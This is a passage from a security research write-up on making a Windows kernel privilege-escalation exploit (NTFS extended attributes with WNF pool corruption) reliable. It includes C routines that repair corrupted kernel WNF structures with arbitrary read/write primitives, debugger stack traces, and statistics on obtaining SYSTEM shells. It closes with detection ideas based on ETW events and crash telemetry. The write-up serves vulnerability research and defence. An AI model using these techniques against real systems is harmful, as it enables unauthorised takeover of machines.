11 ffffdc87`2a7099c0 fffff807`2780595f : ffffa409`71293000 00000251`173f2b90 00000000`00000000 00000000`00000000 : nt!KiInitiateUserApc+0x70
12 ffffdc87`2a709b00 00007ff9`18cabe44 : 00007ff9`165d26ee 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceExit+0x9f (TrapFrame @ ffffdc87`2a709b00)
13 00000055`8b8ffb28 00007ff9`165d26ee : 00000000`00000000 00000000`00000000 00000000`00000000 00007ff9`18c5a800 : ntdll!NtWaitForSingleObject+0x14
14 00000055`8b8ffb30 00000000`00000000 : 00000000`00000000 00000000`00000000 00007ff9`18c5a800 00000000`00000000 : 0x00007ff9`165d26ee
Although we could restore this using the WNF relative read/write, as we have arbitrary read and write using the APIs, we can implement a function which uses a previously saved ScopeInstance
pointer to search for the StateName
of our targeted _WNF_NAME_INSTANCE
object address.
Visually this looks as follows:
Some example code for this is:
/** * This function returns back the address of a _WNF_NAME_INSTANCE looked up by its internal StateName * It performs an _RTL_AVL_TREE tree walk against the sorted tree of _WNF_NAME_INSTANCES. * The tree root is at _WNF_SCOPE_INSTANCE+0x38 (NameSet) **/ QWORD* FindStateName(unsigned __int64 StateName) { QWORD* i; // _WNF_SCOPE_INSTANCE+0x38 (NameSet) for (i = (QWORD*)read64((char*)BackupScopeInstance+0x38); ; i = (QWORD*)read64((char*)i + 0x8)) { while (1) { if (!i) return 0; // StateName is 0x18 after the TreeLinks FLINK QWORD CurrStateName = (QWORD)read64((char*)i + 0x18); if (StateName >= CurrStateName) break; i = (QWORD*)read64(i); } QWORD CurrStateName = (QWORD)read64((char*)i + 0x18); if (StateName <= CurrStateName) break; } return (QWORD*)((QWORD*)i - 2); }
Then once we have obtained our _WNF_NAME_INSTANCE
we can then restore the original StateData
pointer.
RunRef Restoration
The next crash encountered was related to the fact that we may have corrupted many RunRef
from _WNF_NAME_INSTANCE
‘s in the process of obtaining our unbounded _WNF_STATE_DATA
. When ExReleaseRundownProtection is called and an invalid value is present, we will crash as follows:
1: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 ffffeb0f`0e9e5bf8 fffff805`2f512082 : ffffeb0f`0e9e5d60 fffff805`2f37b1d0 00000000`00000000 00000000`00000000 : nt!DbgBreakPointWithStatus
01 ffffeb0f`0e9e5c00 fffff805`2f511666 : 00000000`00000003 ffffeb0f`0e9e5d60 fffff805`2f408e90 00000000`0000003b : nt!KiBugCheckDebugBreak+0x12
02 ffffeb0f`0e9e5c60 fffff805`2f3f3fa7 : 00000000`00000103 00000000`00000000 fffff805`2f0e3838 ffffc807`cdb5e5e8 : nt!KeBugCheck2+0x946
03 ffffeb0f`0e9e6370 fffff805`2f405e69 : 00000000`0000003b 00000000`c0000005 fffff805`2f242c32 ffffeb0f`0e9e6cb0 : nt!KeBugCheckEx+0x107
04 ffffeb0f`0e9e63b0 fffff805`2f4052bc : ffffeb0f`0e9e7478 fffff805`2f0e3838 ffffeb0f`0e9e65a0 00000000`00000000 : nt!KiBugCheckDispatch+0x69
05 ffffeb0f`0e9e64f0 fffff805`2f3fcd5f : fffff805`2f405240 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceHandler+0x7c
06 ffffeb0f`0e9e6530 fffff805`2f285027 : ffffeb0f`0e9e6aa0 00000000`00000000 ffffeb0f`0e9e7b00 fffff805`2f40595f : nt!RtlpExecuteHandlerForException+0xf
07 ffffeb0f`0e9e6560 fffff805`2f283ce6 : ffffeb0f`0e9e7478 ffffeb0f`0e9e71b0 ffffeb0f`0e9e7478 ffffa300`da5eb5d8 : nt!RtlDispatchException+0x297
08 ffffeb0f`0e9e6c80 fffff805`2f405fac : ffff521f`0e9e8ad8 ffffeb0f`0e9e7560 00000000`00000000 00000000`00000000 : nt!KiDispatchException+0x186
09 ffffeb0f`0e9e7340 fffff805`2f401ce0 : 00000000`00000000 00000000`00000000 ffffffff`ffffffff ffffa300`daf84000 : nt!KiExceptionDispatch+0x12c
0a ffffeb0f`0e9e7520 fffff805`2f242c32 : ffffc807`ce062a50 fffff805`2f2df0dd ffffc807`ce062400 ffffa300`da5eb5d8 : nt!KiGeneralProtectionFault+0x320 (TrapFrame @ ffffeb0f`0e9e7520)
0b ffffeb0f`0e9e76b0 fffff805`2f2e8664 : 00000000`00000006 ffffa300`d449d8a0 ffffa300`da5eb5d8 ffffa300`db013360 : nt!ExfReleaseRundownProtection+0x32
0c ffffeb0f`0e9e76e0 fffff805`2f658318 : ffffffff`00000000 ffffa300`00000000 ffffc807`ce062a50 ffffa300`00000000 : nt!ExReleaseRundownProtection+0x24
0d ffffeb0f`0e9e7710 fffff805`2f846003 : ffffffff`ffffffff ffffa300`db013360 ffffa300`da5eb5a0 00000000`00000000 : nt!ExpWnfDeleteNameInstance+0x1dc
0e ffffeb0f`0e9e7760 fffff805`2f70553e : 00000000`00000000 ffffeb0f`0e9e7990 00000000`00000000 00000000`00000000 : nt!ExpWnfDeleteProcessContext+0x140a9b
0f ffffeb0f`0e9e77a0 fffff805`2f69ea7f : ffffc807`ce0700c0 ffffa300`d2c506a0 ffffeb0f`0e9e7990 00000000`00000000 : nt!ExWnfExitProcess+0x32
10 ffffeb0f`0e9e77d0 fffff805`2f5f4558 : 00000000`c000013a 00000000`00000001 ffffeb0f`0e9e79e0 000000f1`f98db000 : nt!PspExitThread+0x5eb
11 ffffeb0f`0e9e78d0 fffff805`2f2e6ca7 : 00000000`00000000 00000000`00000000 00000000`00000000 fffff805`2f2f0ee6 : nt!KiSchedulerApcTerminate+0x38
12 ffffeb0f`0e9e7910 fffff805`2f3f8440 : 00000000`00000000 ffffeb0f`0e9e79c0 ffffeb0f`0e9e7b80 ffffffff`00000000 : nt!KiDeliverApc+0x487
13 ffffeb0f`0e9e79c0 fffff805`2f40595f : ffffc807`ce062400 0000020b`04f64b90 00000000`00000000 00000000`00000000 : nt!KiInitiateUserApc+0x70
14 ffffeb0f`0e9e7b00 00007ff9`8314be44 : 00007ff9`80aa26ee 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceExit+0x9f (TrapFrame @ ffffeb0f`0e9e7b00)
15 000000f1`f973f678 00007ff9`80aa26ee : 00000000`00000000 00000000`00000000 00000000`00000000 00007ff9`830fa800 : ntdll!NtWaitForSingleObject+0x14
16 000000f1`f973f680 00000000`00000000 : 00000000`00000000 00000000`00000000 00007ff9`830fa800 00000000`00000000 : 0x00007ff9`80aa26ee
To restore these correctly we need to think about how these objects fit together in memory and how to obtain a full list of all _WNF_NAME_INSTANCES
which could possibly be corrupt.
Within _EPROCESS
we have a member WnfContext
which is a pointer to a _WNF_PROCESS_CONTEXT
.
This looks as follows:
nt!_WNF_PROCESS_CONTEXT
+0x000 Header : _WNF_NODE_HEADER
+0x008 Process : Ptr64 _EPROCESS
+0x010 WnfProcessesListEntry : _LIST_ENTRY
+0x020 ImplicitScopeInstances : [3] Ptr64 Void
+0x038 TemporaryNamesListLock : _WNF_LOCK
+0x040 TemporaryNamesListHead : _LIST_ENTRY
+0x050 ProcessSubscriptionListLock : _WNF_LOCK
+0x058 ProcessSubscriptionListHead : _LIST_ENTRY
+0x068 DeliveryPendingListLock : _WNF_LOCK
+0x070 DeliveryPendingListHead : _LIST_ENTRY
+0x080 NotificationEvent : Ptr64 _KEVENT
As you can see there is a member TemporaryNamesListHead
which is a linked list of the addresses of the TemporaryNamesListHead
within the _WNF_NAME_INSTANCE
.
Therefore, we can calculate the address of each of the _WNF_NAME_INSTANCES
by iterating through the linked list using our arbitrary read primitives.
We can then determine if the Header
or RunRef
has been corrupted and restore to a sane value which does not cause a BSOD (i.e. 0).
An example of this is:
/** * This function starts from the EPROCESS WnfContext which points at a _WNF_PROCESS_CONTEXT * The _WNF_PROCESS_CONTEXT contains a TemporaryNamesListHead at 0x40 offset. * This linked list is then traversed to locate all _WNF_NAME_INSTANCES and the header and RunRef fixed up. **/ void FindCorruptedRunRefs(LPVOID wnf_process_context_ptr) { // +0x040 TemporaryNamesListHead : _LIST_ENTRY LPVOID first = read64((char*)wnf_process_context_ptr + 0x40); LPVOID ptr; for (ptr = read64(read64((char*)wnf_process_context_ptr + 0x40)); ; ptr = read64(ptr)) { if (ptr == first) return; // +0x088 TemporaryNameListEntry : _LIST_ENTRY QWORD* nameinstance = (QWORD*)ptr - 17; QWORD header = (QWORD)read64(nameinstance); if (header != 0x0000000000A80903) { // Fix the header up. write64(nameinstance, 0x0000000000A80903); // Fix the RunRef up. write64((char*)nameinstance + 0x8, 0); } } }
NTOSKRNL Base Address
Whilst this isn’t actually needed by the exploit, I had the need to obtain NTOSKRNL
base address to speed up some examinations and debugging of the segment heap. With access to the EPROCESS
/KPROCESS
or ETHREAD
/KTHREAD
, then the NTOSKRNL
base address can be obtained from the kernel stack. By putting a newly created thread into the wait state, we can then walk the kernel stack for that thread and obtain the return address of a known function. Using this and a fixed offset we can calculate the NTOSKRNL
base address. A similar technique was used within KernelForge.
The following output shows the thread whilst in the wait state:
0: kd> !thread ffffbc037834b080
THREAD ffffbc037834b080 Cid 1ed8.1f54 Teb: 000000537ff92000 Win32Thread: 0000000000000000 WAIT: (UserRequest) UserMode Non-Alertable
ffffbc037d7f7a60 SynchronizationEvent
Not impersonating
DeviceMap ffff988cca61adf0
Owning Process ffffbc037d8a4340 Image: amberzebra.exe
Attached Process N/A Image: N/A
Wait Start TickCount 3234 Ticks: 542 (0:00:00:08.468)
Context Switch Count 4 IdealProcessor: 1
UserTime 00:00:00.000
KernelTime 00:00:00.000
Win32 Start Address 0x00007ff6e77b1710
Stack Init ffffd288fe699c90 Current ffffd288fe6996a0
Base ffffd288fe69a000 Limit ffffd288fe694000 Call 0000000000000000
Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
Child-SP RetAddr : Args to Child : Call Site
ffffd288`fe6996e0 fffff804`818e4540 : fffff804`7d17d180 00000000`ffffffff ffffd288`fe699860 ffffd288`fe699a20 : nt!KiSwapContext+0x76
ffffd288`fe699820 fffff804`818e3a6f : 00000000`00000000 00000000`00000001 ffffd288`fe6999e0 00000000`00000000 : nt!KiSwapThread+0x500
ffffd288`fe6998d0 fffff804`818e3313 : 00000000`00000000 fffff804`00000000 ffffbc03`7c41d500 ffffbc03`7834b1c0 : nt!KiCommitThreadWait+0x14f
ffffd288`fe699970 fffff804`81cd6261 : ffffbc03`7d7f7a60 00000000`00000006 00000000`00000001 00000000`00000000 : nt!KeWaitForSingleObject+0x233
ffffd288`fe699a60 fffff804`81cd630a : ffffbc03`7834b080 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ObWaitForSingleObject+0x91
ffffd288`fe699ac0 fffff804`81a058b5 : ffffbc03`7834b080 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtWaitForSingleObject+0x6a
ffffd288`fe699b00 00007ffc`c0babe44 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffffd288`fe699b00)
00000053`003ffc68 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!NtWaitForSingleObject+0x14
Exploit Testing and Statistics
As there are some elements of instability and non-deterministic elements of this exploit, then an exploit testing framework was developed to determine the effectiveness across multiple runs and on multiple different supported platforms and by varying the exploit parameters. Whilst this lab environment is not fully representative of a long-running operating system with potentially other third party drivers etc installed and a more noisy kernel pool, it gives some indication of this approach is feasible and also feeds into possible detection mechanisms.
The key variables which can be modified with this exploit are:
- Spray size
- Post-exploitation choices
All these are measured over 100 iterations of the exploit (over 5 runs) for a timeout duration of 15 seconds (i.e. a BSOD did not occur within 15 seconds of an execution of the exploit).
SYSTEM shells
– Number of times a SYSTEM shell was launched.
Total LFH Writes
– For all 100 runs of the exploit, how many corruptions were triggered.
Avg LFH Writes
– Average number of LFH overflows needed to obtain a SYSTEM shell.
Failed after 32
– How many times the exploit failed to overflow an adjacent object of the required target type, by reaching the max number of overflow attempts. 32 was chosen a semi-arbitrary value based on empirical testing and the blocks in the BlockBitmap for the LFH being scanned by groups of 32 blocks.
BSODs on exec
– Number of times the exploit BSOD the box on execution.
Unmapped Read
– Number of times the relative read reaches unmapped memory (ExpWnfReadStateData) – included in the BSOD on exec count above.
Spray Size Variation
The following statistics show runs when varying the spray size.
Spray size 3000
Result | Run 1 | Run 2 | Run 3 | Run 4 | Run 5 | Avg |
---|---|---|---|---|---|---|
SYSTEM shells | 85 | 82 | 76 | 75 | 75 | 78 |
Total LFH writes | 708 | 726 | 707 | 678 | 624 | 688 |
Avg LFH writes | 8 | 8 | 9 | 9 | 8 | 8 |
Failed after 32 | 1 | 3 | 2 | 1 | 1 | 2 |
BSODs on exec | 14 | 15 | 22 | 24 | 24 | 20 |
Unmapped Read | 4 | 5 | 8 | 6 | 10 | 7 |
Spray size 6000
Result | Run 1 | Run 2 | Run 3 | Run 4 | Run 5 | Avg |
---|---|---|---|---|---|---|
SYSTEM shells | 84 | 80 | 78 | 84 | 79 | 81 |
Total LFH writes | 674 | 643 | 696 | 762 | 706 | 696 |
Avg LFH writes | 8 | 8 | 9 | 9 | 8 | 8 |
Failed after 32 | 2 | 4 | 3 | 3 | 4 | 3 |
BSODs on exec | 14 | 16 | 19 | 13 | 17 | 16 |
Unmapped Read | 2 | 4 | 4 | 5 | 4 | 4 |
Spray size 10000
Result | Run 1 | Run 2 | Run 3 | Run 4 | Run 5 | Avg |
---|---|---|---|---|---|---|
SYSTEM shells | 84 | 85 | 87 | 85 | 86 | 85 |
Total LFH writes | 805 | 714 | 761 | 688 | 694 | 732 |
Avg LFG writes | 9 | 8 | 8 | 8 | 8 | 8 |
Failed after 32 | 3 | 5 | 3 | 3 | 3 | 3 |
BSODs on exec | 13 | 10 | 10 | 12 | 11 | 11 |
Unmapped Read | 1 | 0 | 1 | 1 | 0 | 1 |
Spray size 20000
Result | Run 1 | Run 2 | Run 3 | Run 4 | Run 5 | Avg |
---|---|---|---|---|---|---|
SYSTEM shells | 89 | 90 | 94 | 90 | 90 | 91 |
Total LFH writes | 624 | 763 | 657 | 762 | 650 | 691 |
Avg LFG writes | 7 | 8 | 7 | 8 | 7 | 7 |
Failed after 32 | 3 | 2 | 1 | 2 | 2 | 2 |
BSODs on exec | 8 | 8 | 5 | 8 | 8 | 7 |
Unmapped Read | 0 | 0 | 0 | 0 | 1 | 0 |
From this was can see that increasing the spray size leads to a much decreased chance of hitting an unmapped read (due to the page not being mapped) and thus reducing the number of BSODs.
On average, the number of overflows needed to obtain the correct memory layout stayed roughly the same regardless of spray size.
Post Exploitation Method Variation
I also experimented with the post exploitation method used (token stealing vs modifying the existing token). The reason for this is that performing the token stealing method there are more kernel reads/writes and a longer time duration between reverting PreviousMode
.
20000 spray size
With all the _SEP_TOKEN_PRIVILEGES
enabled:
Result | Run 1 | Run 2 | Run 3 | Run 4 | Run 5 | Avg |
---|---|---|---|---|---|---|
PRIV shells | 94 | 92 | 93 | 92 | 89 | 92 |
Total LFH writes | 939 | 825 | 825 | 788 | 724 | 820 |
Avg LFG writes | 9 | 8 | 8 | 8 | 8 | 8 |
Failed after 32 | 2 | 2 | 1 | 2 | 0 | 1 |
BSODs on exec | 4 | 6 | 6 | 6 | 11 | 6 |
Unmapped Read | 0 | 1 | 1 | 2 | 2 | 1 |
Therefore, there is only negligible difference these two methods.
Detection
After all of this is there anything we have learned which could help defenders?
Well firstly there is a patch out for this vulnerability since the 8th of June 2021. If your reading this and the patch is not applied, then there are obviously bigger problems with the patch management lifecycle to focus on 🙂
However, there are some engineering insights which can be gained from this and in general detecting memory corruption exploits within the wild. I will focus specifically on the vulnerability itself and this exploit, rather than the more generic post exploitation technique detection (token stealing etc) which have been covered in many online articles. As I never had access to the in the wild exploit, these detection mechanisms may not be useful for that scenario. Regardless, this research should allow security researchers a greater understanding in this area.
The main artifacts from this exploit are:
- NTFS Extended Attributes being created and queried.
- WNF objects being created (as part of the spray)
- Failed exploit attempts leading to BSODs
NTFS Extended Attributes
Firstly, examining the ETW framework for Windows, the provider Microsoft-Windows-Kernel-File was found to expose "SetEa" and "QueryEa" events.
This can be captured as part of an ETW trace:
As this vulnerability can be exploited a low integrity (and thus from a sandbox), then the detection mechanisms would vary based on if an attacker had local code execution or chained it together with a browser exploit.
One idea for endpoint detection and response (EDR) based detection would be that a browser render process executing both of these actions (in the case of using this exploit to break out of a browser sandbox) would warrant deeper investigation. For example, whilst loading a new tab and web page, the browser process "MicrosoftEdge.exe" triggers these events legitimately under normal operation, whereas the sandboxed renderer process "MicrosoftEdgeCP.exe" does not. Chrome while loading a new tab and web page did not trigger either of the events too. I didn’t explore too deeply if there were any render operations which could trigger this non-maliciously but provides a place where defenders can explore further.
WNF Operations
The second area investigated was to determine if there were any ETW events produced by WNF based operations. Looking through the "Microsoft-Windows-Kernel-*" providers I could not find any related events which would help in this area. Therefore, detecting the spray through any ETW logging of WNF operations did not seem feasible. This was expected due to the WNF subsystem not being intended for use by non-MS code.
Crash Dump Telemetry
Crash Dumps are a very good way to detect unreliable exploitation techniques or if an exploit developer has inadvertently left their development system connected to a network. MS08-067 is a well known example of Microsoft using this to identify an 0day from their WER telemetry. This was found by looking for shellcode, however, certain crashes are pretty suspicious when coming from production releases. Apple also seem to have added telemetry to iMessage for suspicious crashes too.
In the case of this specific vulnerability when being exploited with WNF, there is a slim chance (approx. <5%) that the following BSOD can occur which could act a detection artefact:
```
Child-SP RetAddr Call Site
ffff880f`6b3b7d18 fffff802`1e112082 nt!DbgBreakPointWithStatus
ffff880f`6b3b7d20 fffff802`1e111666 nt!KiBugCheckDebugBreak+0x12
ffff880f`6b3b7d80 fffff802`1dff3fa7 nt!KeBugCheck2+0x946
ffff880f`6b3b8490 fffff802`1e0869d9 nt!KeBugCheckEx+0x107
ffff880f`6b3b84d0 fffff802`1deeeb80 nt!MiSystemFault+0x13fda9
ffff880f`6b3b85d0 fffff802`1e00205e nt!MmAccessFault+0x400
ffff880f`6b3b8770 fffff802`1e006ec0 nt!KiPageFault+0x35e
ffff880f`6b3b8908 fffff802`1e218528 nt!memcpy+0x100
ffff880f`6b3b8910 fffff802`1e217a97 nt!ExpWnfReadStateData+0xa4
ffff880f`6b3b8980 fffff802`1e0058b5 nt!NtQueryWnfStateData+0x2d7
ffff880f`6b3b8a90 00007ffe`e828ea14 nt!KiSystemServiceCopyEnd+0x25
00000082`054ff968 00007ff6`e0322948 0x00007ffe`e828ea14
00000082`054ff970 0000019a`d26b2190 0x00007ff6`e0322948
00000082`054ff978 00000082`054fe94e 0x0000019a`d26b2190
00000082`054ff980 00000000`00000095 0x00000082`054fe94e
00000082`054ff988 00000000`000000a0 0x95
00000082`054ff990 0000019a`d26b71e0 0xa0
00000082`054ff998 00000082`054ff9b4 0x0000019a`d26b71e0
00000082`054ff9a0 00000000`00000000 0x00000082`054ff9b4
```
Under normal operation you would not expect a memcpy operation to fault accessing unmapped memory when triggered by the WNF subsystem. Whilst this telemetry might lead to attack attempts being discovered prior to an attacker obtaining code execution. Once kernel code execution has been gained or SYSTEM, they may just disable the telemetry or sanitise it afterwards – especially in cases where there could be system instability post exploitation. Windows 11 looks to have added additional ETW logging with these policy settings to determine scenarios when this is modified:
Conclusion
This article demonstrates some of the further lengths an exploit developer needs to go to achieve more reliable and stable code execution beyond a simple POC.
At this point we now have an exploit which is much more succesful and less likely to cause instability on the target system than a simple POC. However, we can only get about 90%~ success rate due to the techniques used. This seems to be about the limit with this approach and without using alternative exploit primitives. The article also gives some examples of potential ways to identify exploitation of this vulnerability and detection of memory corruption exploits in general.
Acknowledgements
Boris Larin, for discovering this 0day being exploited within the wild and the initial write-up.
Yan ZiShuang, for performing parallel research into exploitation of this vuln and blogging about it.
Alex Ionescu and Gabrielle Viala for the initial documentation of WNF.
Corentin Bayet, Paul Fariello, Yarden Shafir, Angelboy, Mark Yason for publishing their research into the Windows 10 Segment Pool/Heap.
Aaron Adams and Cedric Halbronn for doing multiple QA’s and discussions around this research.